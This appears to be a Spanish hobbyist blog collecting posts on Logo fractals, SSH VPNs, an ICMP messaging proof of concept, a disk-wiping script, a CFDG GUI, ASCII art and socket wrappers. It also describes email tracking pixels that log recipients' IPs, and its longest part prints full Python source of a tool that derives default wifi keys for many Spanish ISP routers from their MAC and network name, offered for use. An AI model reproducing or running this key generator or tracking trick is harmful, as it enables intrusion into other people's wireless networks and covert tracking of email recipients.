Saltar ó contido principal

Logo y colorines ( y II )

Volvemos con la segunda parte sobre Logo, con unas cuantas figuras...

La primera, para empezar es bastante facil: to figura1 :veces :tamanho

repeat :veces[right 360/:veces

repeat 360[ forward :tamanho right 1 ]

]

end

figura1 72 2

resulta en ...

Fractales Pasamos a algo mas dificil :)}

¿Que es un fractal? (segun Wikipedia)
Un fractal es un objeto semigeométrico cuya estructura básica,
fragmentada o irregular, se repite a diferentes escalas.[1]Una mejor
manera para comprender el comportamiento fractal de nuestro universo
es considerar la siguiente definición: "Patrones que se repiten a
distintas escalas".
A un objeto geométrico fractal se le atribuyen las siguientes
características:[2]

* Es demasiado irregular para ser descrito en términos
geométricos tradicionales.

* Posee detalle a cualquier escala de observación.

* Es autosimilar (exacta, aproximada o estadística).

* Su dimensión_de_Hausdorff-Besicovitch es estrictamente mayor
que su dimensión_topológica.
*
* Se define mediante un simple algoritmo_recursivo.
*

Dejemos aparte todo lo de "autosimilar", "dimensiones topologicas" y demás... lo mas comprensible es que "se repite a distintas escalas" y "se define mediante un simple algoritmo recursivo", vamos a probar... to fractal_cuadrado :long :prof

if prof <= 0 [stop]

repeat 4[ forward :long

right 90

fractal_cuadrado :long/(2.5) :prof-1

]

end

fractal_cuadrado 300 5

Da lugar a esto:

Veamos como funciona, y de paso como hacer que el codigo sea aplicable a cualquier figura, la idea es esta: to fractal_cuadrado :long :prof

No necesita explicacion, declaramos la funcion fractal_cuadrado, con los argumentos long (longitud) y prof (profundidad)

if prof <= 0 [stop]

El caso base, si ya se llego al ultimo nivel de profundidad, ya se acabo

repeat 4[ forward :long

right 90

fractal_cuadrado :long/(2.5) :prof-1

]

Como se puede ver, es practicamente el mismo codigo que para dibujar un cuadrado, solo se le añade  

fractal_cuadrado :long/(2.5) :prof-1   al final, lo que hace que en cada esquina repita el proceso completo, pero haciendolo mas pequeño y con menos profundidad (sino acabaria siendo infinita)

Es decir, que en cada esquina del cuadrado, se dibuja un cuadrado mas pequeño, y en cada esquina de ese cuadrado, otro aun mas pequeño, asi hasta que se alcance la profundidad maxima (a este proceso se le llama recursion) end

Fin de la función

Ahora veamos como modificar el codigo para que funcione con otras figuras, el caso base no cambia...

to fractal2 :lados :long :prof

if prof <= 0 [stop]

... asi que solo nos queda el

repeat 4[ forward :long

right 90

fractal_cuadrado :long/(2.5) :prof-1

]

De nuevo,es bastante reconocible la parte que dibuja el cuadrado, así que...

repeat :lados[ forward :long

right 360/:lados

fractal2 : lados :long/(2.5) :prof-1

]

Solo falta el
   fractal2 :lados :long/(2.5) :prof-1 ,  la unica parte que hay que cambiar es la de

:long/(2.5) ,  el problema es que este numero (el 2.5 ) es algo arbitrario, debe ser lo suficientemente alto como para separar las figuras "que salen de las esquinas", distancia que es mayor a medida que aumenta

:log , pero sin pasarse, por ejemplo

:long/(2+((:lados/100)(:lados:lados))) servirá, asi , el codigo queda

to fractal2 :lados :long :prof

if prof <= 0 [stop]

repeat :lados[ forward :long

right 360/:lados

fractal2 : lados :long/(2+((:lados/100)(:lados:lados))) :prof-1

]

end

Y llamando a fractal2  3 200 4

(¿A nadie le suena de algo?)

Y para ir acabando... arboles binarios!

Un arbol binario es uno que del que salen dos arboles (tambien binarios), de los que vuelven a salir dos, y ... bueno, ya cojeis la idea

to arbol_binario :long :prof :grados

if prof <= 0 [ stop ]

forward :long

left :grados

arbol_binario :long/2 :prof-1 :grados

right :grados*2

arbol_binario :long/2 :prof-1 :grados

left :grados

back :long

end

Veamos como va, se que habra a quien le aburra y lo vea claro, pero, si ese es el caso, siempre os podeis saltar la explicacion... (Esta vez voy a prescindir del codigo)

La idea basicamente es hacer que cada vez que el arbol avance, se divida en dos y repetir en cada uno de los dos el mismo proceso, para que esto se pueda hacer, ademas hay que volver a la posicion original cada vez (si, simple y rapido)

Llamando a arbol_binario 200 10 30 tenemos:

Y eso es todo con Logo!

Pero espera... esto es "Logo y colorines" !! , hace falta algo de color, volvamos a la primera imagen:

La abrimos con GIMP y usamos en los filtros Artistico>GIMPresionista, el Crosshatch, obtenemos esto:

Seleccionamos todo lo que no es el fondo, y se aplica una mezcla de Quemado, con forma Radial, con centro en el centro del circulo, el resultado:

No es gran cosa, pero tendra que valer :P Ahora si, hasta otra!

[Referencias] http://et.bgcbellevue.org/logo/fractals.html

Otro huevo de pascua en Python

A parte del conocido Zen de Python ( si no lo conoces, haz "import this"), hay otros, como el que ocurre cuando haces "import antigravity" (aunque solo funciona en Python 3 ), para los que no lo puedan probar...  se abre el navegador en http://xkcd.com/353/ la traduccion:

[http://2.bp.blogspot.com/_26RJWnubh-w/S6DSsTpWvFI/AAAAAAAAAEU/l08uaShz_Sk/ s640/python.png]

Hasta otra!

SSH: Conexiones seguras para tod@s ( y III ) VPN's

Pues aqui esta la ultima parte de SSH: Conexiones seguras para tod@as, las VPN's, vamos alla... [Nota]:en todo el procesovas a necesitar privilegios de root

Preparando el terreno Para poder utilizar un servidor SSH para hacer una VPN, tendremos que hacer algunos cambios:

El primero es cargar el modulo del kernel "tun" (si aparece al hacer lsmod|grep tun , no hace falta), esto se puede hacer con

modprobe tun

Despues vamos a /etc/ssh/sshd_config y comprobamos que los parametros PermitRootLogin y PermitTunnel esten activados (yes)

Y reiniciamos el servidor SSH 

Levantando la VPN

Se establece una conexion SSH  con el servidor de una forma parecida a la que se utiliza para usarlo de proxy: ssh -w [:]  [ @]

Las interfaces seran las que conecten la VPN, se pueden especificar a traves de un numero (que no puede estar en uso), o "any" (para utilizar la primera "no ocupada").

[Nota]: Siempre se va a necesitar una cuenta root en el servidor (ya que se crean nuevas interfaces)

Automaticamente, se crearan interfaces tunel (del tipo point to point) en el cliente y en el servidor (por ejemplo seran tun0 y tun1, aqui para abreviar,usaremos tunC para la del cliente y tunS para la del servidor)

Pues bien, una vez creadas hay que conectarlas, suponiendo que la VPN vaya a utilizar la subred 10.0.0.0, que el servidor vaya a  utilizar la IP 10.0.0.1, y el cliente 10.0.0.9, habria que hacer:

En el cliente: ifconfig tunC 10.0.0.9 pointopoint 10.0.0.1

En el servidor: ifconfig tunS 10.0.0.1 pointopoint 10.0.0.9

La "formula general" seria ifconfig pointopoint

Y ya esta, se acabo el SSH! (al menos por ahora ;)} )

[ Referencias ] http://prefetch.net/ http://fermiparadox.wordpress.com/

Hablando por ICMP

Hoy presento un script que usa Scapy para comunicarse a través de paquetes ICMP (ping request concretamente). La idea original, de Mungu, era hacer una shell que se comunicara a través de ICMP, esto es simplemente una prueba de concepto.

Cliente: http://pastebin.com/0vLsiiBQ

Servidor: http://pastebin.com/Y751Ty0x

Lo que hace es dividir el mensaje en partes de 2 bytes, y envía cada par como identificador de cada ping.

Los mensajes siempre se envían del cliente al servidor, y los dos necesitan permisos de root. Los parámetros del servidor son:

===============================================================================

[-f ] [-d | -s] [-1] | -h -f : Guarda los datos en un archivo -d : Muestra información de debugging -s : No muestra ninguna salida por pantalla -1 : Solo muestra un mensaje (y después se cierra) -h : Muestra esto

===============================================================================

Los del cliente son:

===============================================================================

-s -d [-t ] [-p ] [-b ] [-r ] [ -f ] [ -u ] Con -u : los datos enviados (no los identificadores) son aleatorios

o

-h : muestra esto

===============================================================================

Si no se especifica al cliente el archivo a enviar, se introducirá por teclado (saldrá '>>>' como prompt). Con -f y -1 se pueden enviar "facilmente" archivos completos.

Los comandos para hacer la transferencia

Envío en curso

Envío completado

Al menos en local (solo he podido probarlo en localhost), la información llega intacta... aun así, por seguridad añadí un pequeño retardo entre los mensajes ( 0.01s ) para evitar en lo posible que haya problemas.

MD5 Correcto

Hasta otra

Script para limpiar archivos borrados del disco duro

Hoy presento un código que acaba con el problema de los archivos ya borrados pero que siguen rondando por el disco duro. No es gran cosa, y seguramente forme parte de muchas colecciones de scripts, pero sigue pudiendo ser útil.

Simplemente genera archivos nuevos con contenido aleatorio (de /dev/urandom, / dev/random se eternizaría) hasta llenar el espacio de la particion, y despues los borra.

!/usr/bin/env bash

names="rm_temp" # File name prefix

block_size=1048576000 # Size of individual files (1G)

r=0

i=0

while [ $r -eq 0 ];do

head -c $block_size /dev/urandom > $names""$i

r=$?

i=$(($i + 1))

done

rm -f $names*

No es rapido, pero puede ser útil.

Hasta otra.

Una GUI para CFDG

CFDG (Context Free Design Grammar) es un programa que genera arte en 2D a partir de código, de forma muy similar a como lo hace Structure Synth ( I y II ), de hecho, este se podría considerar una versión en 3D de CFDG.

Lo "malo" es que usarlo a través de la línea de comandos se puede hacer pesado, y las GUI...  me gustaría decir que las probé, pero ya fuera por un Error 404 o por que no compilaba, fue imposible, así que se improvisó una rápida con Lazarus.

Para usarlo hay que hacer es abrir el archivo de proyecto (.lpi) con lazarus, compilarlo, poner los binarios de la gui y de cfdg en el mismo directorio (a menos que el binario de cfdg esté en un $PATH), y ejecutar la gui... Si, un lío, si alguien conoce una forma mejor que avise

Un par de capturas: [http://3.bp.blogspot.com/_26RJWnubh-w/TFcWmyQBneI/AAAAAAAAAO8/y09LHNOFOCI/ s320/Pantallazo-14.png] [http://1.bp.blogspot.com/_26RJWnubh-w/TFcWryOiGvI/AAAAAAAAAPA/22EOW1JG7oM/ s320/Pantallazo-15.png]

El proyecto está alojado en SourceForge (aquí no se pierde la oportunidad de trastear con algo nuevo ;) [ CFDG_Gui ], se puede descargar el código con

=============================================================================== git clone git://cfdggui.git.sourceforge.net/gitroot/cfdggui/cfdggui ===============================================================================

No tiene gran cosa, para generar la imágen se puede pulsar en "Generar" (un derroche de imaginación :D) o pulsar F5, en el menu de Archivo están las clásicas opciones de:
* Abrir (Ctrl+O)
* Guardar (Ctrl+S)
* Guardar Como (Ctrl+Shift+S)
* Guardar Imágen (Ctrl+I)
* Salir (Ctrl+Q) Y creo que no queda nada... solo decir que este dialecto de pascal (freepascal) no es el mismo que otro del que ya se habló Números_pseudo-aleatorios_con pascal (en ese caso era Pascal Estándar Extendido).

ps: Hace tiempo WindHack escribió un bloc de notas usando Lazarus, que puede resultar interesante para quién comienza con este lenguaje [ Notepad_en_GNU/ Linux_-_Lazarus ]

ps2: Hay que reconocer que los de Lazarus tienen buen humor incluso con los errores :)} [http://1.bp.blogspot.com/_26RJWnubh-w/TFcVB-QHsoI/AAAAAAAAAO4/vOvVdpLyIhQ/ s320/Pantallazo-13.png]

ASCII Art con Python [Actualizada]

[Actualizado, añadidos más caracteres y arreglado el problema con el unicode]

Hoy traigo algo curioso, un script que hace ASCII Art a partir de una frase cualquiera.

El script se puede descargar aquí [asciichars.py]

Los parámetros son ./asciichars.py [ -s ] [ ]

El espaciado es (obviamente) el espacio entre los caracteres, por defecto 8. Y la frase, lo que aparecera en el ASCII Art (si no se especifica, se pedirá durante la ejecución).

La verdad, no tengo muy claro como explicarlo :D, así que para muestra un botón ./asciichars.py -s 10 "#28" [http://2.bp.blogspot.com/_26RJWnubh-w/TC-NvUoIdsI/AAAAAAAAAK0/nbH_dWlPMXQ/ s1600/Pantallazo.png]

Los caracteres que hay son:

===============================================================================

0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N Ñ O P Q R S T U V W X Y Z [Espacio] ! # | + - = . ] [

===============================================================================

El juego completo de caracteres...

[http://4.bp.blogspot.com/_26RJWnubh-w/TC-W8hOYTjI/AAAAAAAAAK4/cvBeUWpJmRo/ s320/Pantallazo-1.png][http://4.bp.blogspot.com/_26RJWnubh-w/TC-Yi2u35ZI/ AAAAAAAAALI/mEGEtft3ZM8/s320/Pantallazo.png] [http://2.bp.blogspot.com/_26RJWnubh-w/TC-cQWCPRbI/AAAAAAAAALQ/sPevpRNQeWE/ s320/Pantallazo-2.png][http://1.bp.blogspot.com/_26RJWnubh-w/TC-cxeZ6PJI/ AAAAAAAAALY/s_gyqHBpZJ4/s320/Pantallazo-3.png] [http://1.bp.blogspot.com/_26RJWnubh-w/TC-eP_WEC6I/AAAAAAAAALg/3_jjnwb248M/ s320/Pantallazo-4.png]

Hasta otra!

Peligros en el e-Mail

Hoy vamos a ver uno de los "peligros" del correo electronico, y no, no me refiero a el malware, ni al spam ni a nada asi (aunque lleva tanto tiempo ahi como ellos, o aun mas) , sino a algo que incluso se utiliza en correos legitimos (o al menos eso parecen)

Esto es, los correos con HTML

En un principio se podria pensar que esto no tiene nada de malo, se usa HTML en paginas web y no hay ningun problema, ¿verdad?... el problema esta en que se puede utilizar para obtener informacion que no suele ser bueno hacer publica, como la direccion IP utilizada  Veamos como funciona:

Mandamos un correo electronico a una direccion... usuario@example.org , cuando se abra el correo se mostrara el contenido en HTML (a menos que se configure el cliente de correo para que no lo haga) y al mostrar una imagen (por ejemplo), el cliente se conecta al servidor donde esta la imagen, que puede capturar informacion interesante del cliente como la IP, el navegador/cliente utilizado, etc...

Vamos alla, para esto usamos dos archivos, uno PHP (o lo que se utilize en el servidor web que se va a utilizar) y una imagen (o cualquier cosa que haga que el cliente se comunique con nuestro servidor, la imagen es lo mas sencillo y encaja perfectamente en un correo)

El archivo PHP solo tiene que hacer una cosa, guardar los datos del cliente y mandarle la imagen, un ejemplo seria:

Como se puede ver, el codigo es bastante simple, abrir un archivo, escribir un par de variables interesantes (en este caso, la IP y el cliente), y redireccionar el cliente a la imagen, se podria hacer que lea la imagen y la envie al cliente, que seria una solucion mas fiable (si alguien sigue la direccion de la imagen se dara cuenta del truco)

Y ya esta, le enviamos el correo a alguien y...

El primero es abriendolo con el Thunderbird (como se puede ver en Navegador), y la segunda con un webmail (el navegador es Firefox) Y ya tenemos la IP de a quien se le envio el correo

La siguiente vuelta de tuerca es hacer que en los logs tambien aparezcan las direcciones asociadas a cada IP, solo hay que añadir otra variable

Ahora ademas no se puede simplemente usar la imagen como antes (simplemente indicando su URL) ahora ademas hay que añadir ?mail=usuario@correo.aaa, por ejemplo, para mandarselo a "joe@gmail.com", utilizando la imagen http:// aaa.com/imagen.php, habria que indicar http://aaa.com/ imagen.php?mail=joe@gmail.com en la direccion de la imagen, el resultado es este:

Y en los dos casos el email parece completamente inofensivo:

Si, vale, no hay texto y la imagen que envie es de otro post, pero para mostrar la idea sirve

Tambien esta la opcion de incluir una imagen que solo tenga un pixel y que ademas es 100% transparente, asi que no se puede ver sin comprobar el codigo del mensaje

La solución

La forma mas facil de evitar el problema (aparte de no abrir correos que no sean fiables) es deshabilitar el HTML en el cliente de correo (o en el webmail), Thunderbird, por ejemplo, pide confirmacion para leer HTML por defecto

Hasta otra!!

Sockets multiplataforma

Un aperitivo mientras preparo algo mas interesante ;)}

Si alguien intento hacer un programa multiplataforma que hiciera uso de sockets se daria cuenta de que la unica diferencia en el manejo de estos entre Windows y los SO's basados en Unix es que el primero tiene una funcion adicional que hay que llamar para poder crear sockets, y otra para cuando se termine con su uso, y que se utilizan tipos de datos distintos (SOCKET en Windows y simplemente int en Unix).

Arreglar ese problema es sencillo, con un par de macros se soluciona el problema, aun asi, si prefieres evitar el trabajo de escribir el codigo, aqui lo tienes: // -----------------------------------------------------------------

// Socket wrapper (aun que no estoy seguro de si se puede llamar asi)

ifndef SOCKET_WRAPPER_H

#define SOCKET_WRAPPER_H

#ifdef _WIN32

#include

#include

#define tsocket SOCKET

#define socket_init() WSADATA wsaData;\

WSAStartup(MAKEWORD(1,1),&wsaData);

#define socket_end() WSACleanup();

#else

#include

#include

#include

#include

#include

#include

#define tsocket int

#define socket_init()

#define socket_end()

#endif

endif

// Socket wrapper end

// En windows es necesario compilarlo con -lwsock32

//  (para linkarlo a winsock)

// -----------------------------------------------------------------

Se usa como en Unix, pero el tipo de dato de los socket es tsocket y antes y despues de usar los socket hay que llamar a socket_init() ysocket_end ()respectivamente (en Unix no hara nada,pero en Windows llamara a las funciones necesarias).

Hasta otra

Generador de diccionarios wifi

Hoy...un script que lleva en el disco duro desde hace un año, simplemente genera los diccionarios de contraseñas por defecto para varios tipos de routers. No se si desde entonces se descubrieron los patrones de nuevos routers, si alguien sabe de alguno que avise.

Se puede descargar aquí [wdic.py], o coloreado al final. Lo dicho, ya tiene su tiempo y le hace falta una reescritura a C (en cuanto encuentre tiempo), pero funciona.

Hay dos formas de usarlo, lanzándolo directamente se maneja con menús

=============================================================================== ./wdic.py =============================================================================== [http://4.bp.blogspot.com/_26RJWnubh-w/TFaFuaEBqBI/AAAAAAAAAOs/QE5Or0kF8do/ s1600/Pantallazo-10.png]

Toda la salida que no sean las contraseñas se hace por stderr, así que se puede redirigir tranquilamente y los menús seguirán saliendo:

=============================================================================== ./wdic.py > diccionario ===============================================================================

O mandando todos los parámetros por la línea de comandos, así que funcionaría sin intervención del usuario, se pueden ver los parámetros con:

=============================================================================== ./wdic -? =============================================================================== [http://4.bp.blogspot.com/_26RJWnubh-w/TFaGhGP8aII/AAAAAAAAAOw/3-TbHz7fjGU/ s320/Pantallazo-11.png]

Por ejemplo: [http://4.bp.blogspot.com/_26RJWnubh-w/TFaHPWOgT0I/AAAAAAAAAO0/_bkbrfHBMMo/ s320/Pantallazo-12.png]

Hasta otra...

===============================================================================

!/usr/bin/env python

Escrito por kenkeiras

Bajo la licencia GPLv3

import string import sys

Esto elimina esos molestos ':' de la bssid

def clean_bssid(bssid):

new=[]         i=0         for element in bssid:           if element!=':':                     new.append(element)                     i=i+1

return new

###########################################################

Esto comprueba que la mac/bssid tenga la longitud adecuada

def check_bssid(bssid,num):     if len(bssid)==num:         return True     else:         return False

###########################################################

Pasa un string a hexadecimal

def ascii2hex(arr):         lst=[]         for element in arr:                 elm=string.join(hex(ord(element)),"")                 lst.append(elm[2:len(elm)])         return  string.join(lst,"")

Esto va haciendo pasar a un array de enteros por todos los valores

def permute_int(array,num):         new=array         while num>0:                 if new[num]!=9:                         new[num]+=1                         break                 else:                         new[num]=int(0)                         num-=1         return new

Esto va haciendo pasar a un array de caracteres por todos los valores

decimales

def permute_text_int(array,num):         new=array         while num>0:                 if new[num]!='9':                         new[num]=chr(ord(new[num])+1)                         break                 else:                         new[num]='0'                         num-=1         return new

Esto va haciendo pasar a un array de caracteres en minuscula por todos los

valores

def permute_lowcase(array,num):

new=array         while num>0:                 if new[num]!='z':                         new[num]=chr(ord(new[num])+1)                         break                 else:                         new[num]='a'                         num-=1         return new

Esto va haciendo pasar a un array de caracteres por todos los valores

hexadecimales

def permute_hex(array,num):

new=array         while num>0:                 if new[num]!='F':                         if new[num]=='9':                                 new[num]='A'                         else:                                 new[num]=chr(ord(new[num])+1)                         break                 else:                         new[num]='0'                         num-=1         return new

Esto va haciendo pasar a un array de caracteres por todos los caracteres y

numeros

def permute_comp(array,num):

new=array         while num>0:                 if new[num]!='Z':                         if new[num]=='9':                                 new[num]='A'                         else:                                 new[num]=chr(ord(new[num])+1)                         break                 else:                         new[num]='0'                         num-=1         return new

Cambia todas las letras de un array de caracteres hexadecimales a mayuscula

def hex_upcase(array):         new=[]         for element in array:                 if element<='9':                         new.append(element)                 else:                         if element>='a':                                 if element=='a':                                         new.append('A')                                 elif element=='b':                                         new.append('B')                                 elif element=='c':                                         new.append('C')                                 elif element=='d':                                         new.append('D')                                 elif element=='e':                                         new.append('E')                                 elif element=='f':                                         new.append('F')

else:                                 new.append(element)         return new

Muestra un array

def strshow(array):         print string.join(array,'')

Aqui empieza lo interesante... ;)}

WLAN

Para las redes WLAN_XX y JAZZTEL_XX

Esto va preparando las contrasenhas y las va pasando al strshow para que las

muestre

def show_wlan(p1,p2,end):         act=[]         fin=[]         passwd=range(13)         for char in p1:                 act.append(char)                 fin.append(char)         i=0         while (i<4):                 act.append('0')                 fin.append('F')                 i+=1         for char in p2:                 act.append(char)         for char in end:                 fin.append(char)         if (p2=="00"):                 offset=12         else:                 offset=10         while (act!=fin):                 i=0                 for char in act:                         passwd[i]=str(char)                         i+=1                 strshow(passwd)                 if act[11:13]==fin[11:13]:                         act=permute_hex(act,offset)                 else:                                 act=permute_hex(act,offset)         strshow(fin)

Esto recibe la mac, busca el modelo del router y manda el principio de la

contrasenha y el final (que viene de la funcion que wlan) a show_wlan

Nota: se espera que el primer par de la bssid sea 00, asi que ya no se

comprueba

def get_wlan_bssid(mac,chars,end):         # Z-Com         #         if (mac[2]=='6' and mac[3]=='0' and mac[4]=='B' and mac[5]=='3'):                 show_wlan('Z001349',chars,end)                          # Xavy         #         elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='8'):                 show_wlan('X000138',chars,end)                          # Comtrend         #         elif (mac[2]=='0' and mac[3]=='3' and mac[4]=='C' and mac[5]=='9'):                 show_wlan('C0030DA',chars,end)                          # Zyxel         # ->(thefkboss)         elif (mac[2]=='A' and mac[3]=='0' and mac[4]=='C' and mac[5]=='5'):                 show_wlan('Z001349',chars,end)                          # Comtrend (otro mas)         # ->(dnreinad)         elif (mac[2]=='1' and mac[3]=='6' and mac[4]=='3' and mac[5]=='8'):                 show_wlan('C0030DA',chars,end)                          # P-660-HW-D1         # ->(Tertulia de foro.elhacker.net)         elif (mac[2]=='1' and mac[3]=='3' and mac[4]=='4' and mac[5]=='9'):                 show_wlan('Z001349',chars,end)                 show_wlan('Z0002CF',chars,end)                          # ZyGate         #         elif (mac[2]=='0' and mac[3]=='2' and mac[4]=='C' and mac[5]=='F'):                 show_wlan('Z0002CF',chars,end)                 show_wlan('Z0023F8',chars,end)                          # Jazztel         elif (mac[2]=='1' and mac[3]=='A' and mac[4]=='2' and mac[5]=='B'):                show_wlan('E001D20',chars,end)         # Y Comtrend 2007-2008         # ->(dudux* y dnreinad)                show_wlan('C0030DA',chars,end)                show_wlan('C001D20',chars,end)

# ZyGate         # ->(pianista y Sycho)         elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='C' and mac[5]=='B'):                 show_wlan('Z0002CF',chars,end)                 show_wlan('Z0019CB',chars,end)                          # Comtrend         # ->(hrodgar)         elif (mac[2]=='1' and mac[3]=='9' and mac[4]=='1' and mac[5]=='5'):                 show_wlan('C0030DA',chars,end)                          # Comtrend 2008         # ->(Mugen de el foro.elhacker.net)         elif (mac[2]=='3' and mac[3]=='0' and mac[4]=='D' and mac[5]=='A'):                 show_wlan('C0030DA',chars,end)                          # Comtrend 2008         #         elif (mac[2]=='1' and mac[3]=='D' and mac[4]=='2' and mac[5]=='0'):                 show_wlan('C001D20',chars,end)                          # Zyxel P660HW-D1  2009         # ->(Zim_Zum y buckynet de seguridadwireless.net)         elif (mac[2]=='2' and mac[3]=='3' and mac[4]=='F' and mac[5]=='8'):                 show_wlan('C0023F8',chars,end)                          # Xavy 2009         # ->(zim_zum y *dudux)         elif (mac[2]=='0' and mac[3]=='1' and mac[4]=='3' and mac[5]=='6'):                 show_wlan('X000138',chars,end)                           else:                 print >> sys.stderr, "Error, MAC comenzada por 00:"+str(mac [2])+str(mac[3])+":"+str(mac[4])+str(mac[5])+" no encontrada!!"

Esto limpia la mac y coje lo interesante de la essid y lo manda todo a

get_wlan_bssid

def wlan(essid,bssid):         mac=range(12)         variable_chars=[]         end=[]         if (essid[len(essid)-1])=='?':                 end.append('F')                 end.append('F')                 variable_chars.append('0')                 variable_chars.append('0')         else:                 variable_chars.append(essid[len(essid)-2])                 variable_chars.append(essid[len(essid)-1])                 end=variable_chars         mac=clean_bssid(bssid)         mac=hex_upcase(mac)         variable_chars=string.join(variable_chars,'')         end=string.join(end,'')         if check_bssid(mac,12)==False:             print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"         else:                 get_wlan_bssid(mac,variable_chars,end)

Este es el menu de las funciones de WLAN

def menu_wlan():     print >> sys.stderr,"Introduce la MAC del router:",     mac=raw_input('')     print >> sys.stderr,"Introduce el nombre de la red (?? si no se conoce):",     essid=raw_input('')     wlan(essid,mac)

r-wlan

Para las redes r-wlan

Este se encarga de todo el proceso de r-wlan (prepara las strings inicial y

final y va mandandolas todas a strshow)

def r_wlan(opc,init=0,end=0):         passwd=range(12)         if opc=='a':                 act=[int(init[0]),int(init[1]),int(init[2]),int(init [3]),0,0,0,0]                 fin=[int(end[0]),int(end[1]),int(end[2]),int(end[3]),9,9,9,9]         else:                 act=[0,0,0,0,0,0,0,0]                 fin=[9,9,9,9,9,9,9,9]         passwd[8:12]='00000'         while (act!=fin):                 i=0                 for caja in act:                         passwd[i]=str(caja)                         i+=1                 strshow(passwd)                 act=permute_int(act,7)         #Y una ultima vez para la ultima string         i=0         for caja in act:                 passwd[i]=str(caja)                 i+=1         strshow(passwd)

Muestra las opciones para las redes r-wlan

def menu_r_wlan():         opc=''         init=''         end=''                  while (opc!='g' and opc!='a'):                 print >> sys.stderr,"Que tipo de diccionario prefieres, general (g) o por anhos(a)?",                 opc=raw_input('')         if opc=='a':                 print >> sys.stderr,"Introduce anho incicial (4 digitos):",                 init=raw_input('')                 print >> sys.stderr,"Introduce anho final (4 digitos):",                 end=raw_input('')         r_wlan(opc,init,end)

ADSL

Para las redes ADSLXXXX

Esto se encarga de todo el proceso, comprueba que existe la libreria de hash,

la importa y le va pasando los valores

def adsl_wlan(essid):         haymd5=True         essid_vars=range(4)         try:                 import hashlib         except:                 print >> sys.stderr, "No se ha encontrado el modulo de funciones hash."                 haymd5=False         if haymd5:                 i=4                 j=0                 act=range(8)                 while i>0:                         essid_vars[j]=essid[len(essid)-i]                         j+=1                         i-=1                 i=0                 while i<4:                         act[i]='a'                         i+=1                 while i<8:                         act[i]=essid_vars[i-4]                         i+=1                 fin=False                 while not fin:                         act=permute_lowcase(act,3)                         print hashlib.md5(str(act)).hexdigest()                         i=0                         j=0                         while i<4:                              if act[i]=='z':                                      j+=1                              i+=1                         if j==4:                                      fin=True

Esto es el menu para las ADSL

def menu_adsl_wlan():         print >> sys.stderr,"Introduce el nombre de la red:",         essid=raw_input('')         adsl_wlan(essid)

DLink

Para las redes DLINK-WIRELESS

Devuelve las dos posibles contrasenhas predefinidas a partir de la bssid

def dlink_wlan(bssid,auto):         # Ojo, que la master Key real es la misma pero con todos los valores +1         # pero esto esta asi para que funcione bien con los arrays de python         master_key=[5,0,4,1,2,3,5,4,1,2,3,0,2]         mac=clean_bssid(bssid)         mac=hex_upcase(mac)         if check_bssid(mac,12)==False:             print >> sys.stderr, "La mac tiene que llevar 6 parejas de 2 caracteres (12 en total)"         else:             ppas=[mac[0:2],mac[2:4],mac[4:6],mac[6:8],mac[8:10],mac[10:12]]             if auto==False:                   print >> sys.stderr, "Prueba con esta:\n",             for num in master_key:                 print  str(ppas[num][0])+str(ppas[num][1]),             print ''             if ppas[2][1]!='0' or ppas[2][0]!='0':                if auto==False:                          print >> sys.stderr, "Y con esta:",                print ""                i=0                j=0                for num in master_key:                        if i==12:                                j=-1                        else:                                j=0                        if not (j==-1 and (ppas[num][1]=='A' or ppas[num] [1]=='0')):                          print  str(ppas[num][0])+str(chr(ord(ppas[num] [1])+j)),                        elif ppas[num][1]=='A':                            print  str(ppas[num][0])+"9",                        else:                            print  str(chr(ord(ppas[num][0])+j))+"F",                        i+=1         

Menu para las D-link

def menu_dlink_wlan():       print >> sys.stderr,"Introduce la MAC del router:",       mac=raw_input('')       dlink_wlan(mac,False)

ONO

Para las redes PXXXXXXXXXXXXX

Devuelve la contrasenha por defecto de estas redes. (No comprueba si el essid

es correcto, lo unico que hace es eliminar la P y restarle 1 a lo que queda)

def ono_wlan(essid,auto):         i=0         nov=[]

for algo in essid:                 if algo!='P' and algo!='p':                         ult=int(algo)                         nov.append(algo)         if ult!=0:                 ult-=1                 nov[len(nov)-1]=str(ult)         if auto==False:                 print >> sys.stderr, "Prueba con esta: ",         for byte in nov:             print byte,

Menu para las redes de ONO

def menu_ono_wlan():         print >> sys.stderr,"Introduce el Nombre de la red:",         essid=raw_input('')         ono_wlan(essid,False)

Tele2

Para las redes de Tele2

Va preparando las contrasenhas predeterminadas posibles y mandandolas a

strshow

def tele2_wlan(opc):         act=range(9)         fin=range(9)         i=1         while (i<9):                 act[i]='0'                 i+=1         i=1         while (i<9):                 fin[i]='9'                 i+=1         if opc=='7':                 act[0]=opc                 fin[0]=opc         elif opc=='8':                 act[0:2]='PV'                 fin[0:2]='PV'         else:                 act[0]='0'                 fin[0]='9'         passwd=range(13)         passwd[0:4]="IX1V"         while (act!=fin):                 i=4                 for char in act:                         passwd[i]=str(char)                         i+=1                 strshow(passwd)                 act=permute_text_int(act,8)

Menu para las Tele2

def menu_tele2_wlan():     opc=''     while (opc!='g' and opc!='7' and opc!='8'):                 print >> sys.stderr,"Que tipo de diccionario prefieres, general (g), el de 2007(7), el de 2008(8)?",                 opc=raw_input('')     tele2_wlan(opc)

SpeedTouch

Para redes SpeedTouch

->Algoritmo descubierto por Kevin Devine

Funcion general

def speed_touch_wlan(ssid,num,inicio,fin):         lib=True         try:                 import hashlib         except:                 lib=False                 print >> sys.stderr, "No se encontro la libreria de hashes"         if lib:                 endyear=[]                 passwd=range(9)                 endyear.append(fin[0])                 endyear.append(fin[1])                 essid=ssid[len(ssid)-num:len(ssid)]                 essid=essid.lower()                 true_endyear=permute_text_int(endyear,1)                 passwd[0:2]="CP"                 passwd[2:4]=string.join(inicio,"")   # Anho de inicio                 while passwd[2:4]!=true_endyear:                         passwd[4:6]="00"                         while string.join(passwd[4:6],"")!="53":                                 passwd[6:9]="000"                                 while string.join(passwd[6:9],"")!="ZZZ":                                         check_speedTouch(passwd,essid,num)                                         permute_comp(passwd,8)                                 check_speedTouch(passwd,essid,num)                                 permute_text_int(passwd,5)                         check_speedTouch(passwd,essid,num)                         permute_text_int(passwd,3)

Funcion de comprobacion de las redes SpeedTouch

def check_speedTouch(pas,essid,num):         import hashlib         correct=True         hexpas=range(12)         hexpas[0:6]=pas[0:6]         hexpas[6:12]=ascii2hex(pas[6:9])         out=hashlib.sha1(string.join(hexpas,"")).hexdigest()         chk=string.join(out[len(out)-num:len(out)],"")         if essid==chk:                 if num==6:                         print str(out[0:10].upper())                 else:                         print str(out[0:10].lower())

